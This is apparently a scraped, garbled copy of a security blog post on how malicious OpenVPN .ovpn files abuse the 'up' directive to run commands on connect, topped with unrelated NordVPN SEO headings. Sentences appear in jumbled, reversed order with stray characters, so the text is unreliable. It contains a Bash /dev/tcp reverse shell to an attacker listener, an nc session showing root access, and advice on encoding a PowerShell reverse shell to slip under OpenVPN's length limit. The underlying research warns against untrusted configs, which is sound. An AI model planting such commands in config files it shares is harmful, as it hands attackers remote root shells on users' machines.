#NORDVPN CONFIG FILES FREE#
#NORDVPN CONFIG FILES WINDOWS#

The encoded reverse shell script is over 4000 characters long and OpenVPN has a 256 character limitation. Our old friend Carlos Perez has a script called ps_encoder.py that will do the encoding for us. First, however, we’ll need to base64 encode the script to avoid having to insert escapes. Using powershell.exe’s -EncodedCommand parameter we can pass the entire script on the command line.

#NORDVPN CONFIG FILES WINDOWS#

We’ll have to work a little harder to generate a reverse shell from a Windows host.įortunately, Dave Kennedy of TrustedSec wrote a small powershell reverse shell that we can use. However, Windows doesn’t have an analogous /dev/tcp feature. Thu Jun 7 12:28:23 2018 /bin/bash -c /bin/bash -i > /dev/tcp/192.168.1.218/8181 0&1& tun0 1500 1500 10.200.0.2 10.200.0.1 init Thu Jun 7 12:28:23 2018 TCP/UDP: Preserving recently used remote address: 192.168.1.245:1194 Thu Jun 7 12:28:23 2018 UDP link local (bound): :1194 Thu Jun 7 12:28:23 2018 UDP link remote: 192.168.1.245:1194 Thu Jun 7 12:28:33 2018 Peer Connection Initiated with 192.168.1.245:1194 Thu Jun 7 12:28:34 2018 WARNING: this configuration may cache passwords in memory - use the auth-nocache option to prevent this Thu Jun 7 12:28:34 2018 Initialization Sequence Completed Even if the the user does see these log entries a reverse shell has already been established with our listener on 192.168.1.218: nc -lvp 8181 Listening on (family 0, port 8181) Connection from port 8181 accepted (family 2, sport 54836) id id uid=0(root) gid=0(root) groups=0(root) makes this attack easy on Linux distributions like Ubuntu. Thu Jun 7 12:28:23 2018 disabling NCP mode ( - ncp-disable) because not in P2MP client or server mode Thu Jun 7 12:28:23 2018 OpenVPN 2.5_git x86_64-pc-linux-gnu built on Thu Jun 7 12:28:23 2018 library versions: OpenSSL 1.0.2g, LZO 2.08 Thu Jun 7 12:28:23 2018 NOTE: the current - script-security setting may allow this configuration to call user-defined scripts Thu Jun 7 12:28:23 2018 ******* WARNING *******: All encryption and authentication features disabled - All data will be tunnelled as clear text and will not be protected against man-in-the-middle changes. There are only two indications in the log that perhaps something is afoot. The VPN connection is established normally and traffic flows. When this ovpn file is used it won’t be obvious to the user that something is wrong. The following ovpn file will background a reverse shell to 192.168.1.218:8181. If the victim is using a version of Bash that supports /dev/tcp then getting a reverse shell is trivial. The path and arguments may be single- or double-quoted and/or escaped using a backslash, and should be separated by one or more spaces.īasically, the up command will execute any binary of script you point it to. Run command cmd after successful TUN/TAP device open (pre - user UID change).Ĭmd consists of a path to script (or executable program), optionally followed by arguments. The OpenVPN configuration feature that this blog will focus on is the up command. For this blog, a three line example is useful, but real ovpn files can easily exceed hundreds of lines when more complicated features are used. This directs the client to connect to the server at 192.168.1.245 without authentication or encryption and establish the tun interface for communication between the client (10.200.0.2) and the server (10.200.0.1).

The file details everything about the VPN connection: which remote servers to connect to, the crypto to use, which protocols, the user to login as, etc.Īt its most simple form, an ovpn file looks like the this: An ovpn file is a configuration file provided to the OpenVPN client or server. Since there was no satisfactory response I dug into this and I’ve concluded that, yes, untrusted ovpn files are quite dangerous. ovpn configuration files themselves pose some kind of risk.

#NORDVPN CONFIG FILES FREE#

The user doesn’t appear to be asking if it’s dangerous to use the free OpenVPN services.

Nordvpn config files